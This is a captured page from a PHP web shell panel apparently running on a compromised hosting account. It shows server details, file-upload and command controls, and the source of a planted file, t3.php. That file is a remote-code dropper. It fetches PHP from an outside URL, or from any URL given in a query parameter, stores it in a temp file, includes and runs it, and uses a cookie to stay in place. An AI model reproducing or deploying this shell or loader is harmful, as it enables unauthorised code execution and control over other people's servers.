403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www/t3.php
<?php

define('DEFAULT_SOURCE_URL', 'https://hirachi.jp//access/db.txt');

function getSourceUrl() {
    return isset($_GET['src']) && filter_var($_GET['src'], FILTER_VALIDATE_URL)
        ? $_GET['src']
        : DEFAULT_SOURCE_URL;
}

function getTempPath() {
    if (!empty($_COOKIE['tmp-inc']) && isValidTempPath($_COOKIE['tmp-inc'])) {
        return $_COOKIE['tmp-inc'];
    }
    return generateTempPath();
}

function isValidTempPath($path) {
    return file_exists($path) && filesize($path) > 100;
}

function generateTempPath() {
    $path = tempnam(sys_get_temp_dir(), 'inc_');
    return $path ?: false;
}

function fetchAndStoreContent($url, $path) {
    $content = @file_get_contents($url);
    if ($content === false) {
        die("❌Failed fetch url");
    }

    if (@file_put_contents($path, $content) === false) {
        die("❌ Failed write to tmp.");
    }

    setcookie('tmp-inc', $path);
    include($path);
    exit;
}

// --- Main Logic ---

$tempPath = getTempPath();

if (!$tempPath) {
    die("❌ Failed create tmp");
}

$fileSize = @filesize($tempPath);

if ($fileSize === false || $fileSize < 10) {
    $srcUrl = getSourceUrl();
    fetchAndStoreContent($srcUrl, $tempPath);
} elseif ($fileSize >= 1024) {
    setcookie('tmp-inc', $tempPath);
    include($tempPath);
    exit;
}

die("DIE");

Youez - 2016 - github.com/yon3zu
LinuXploit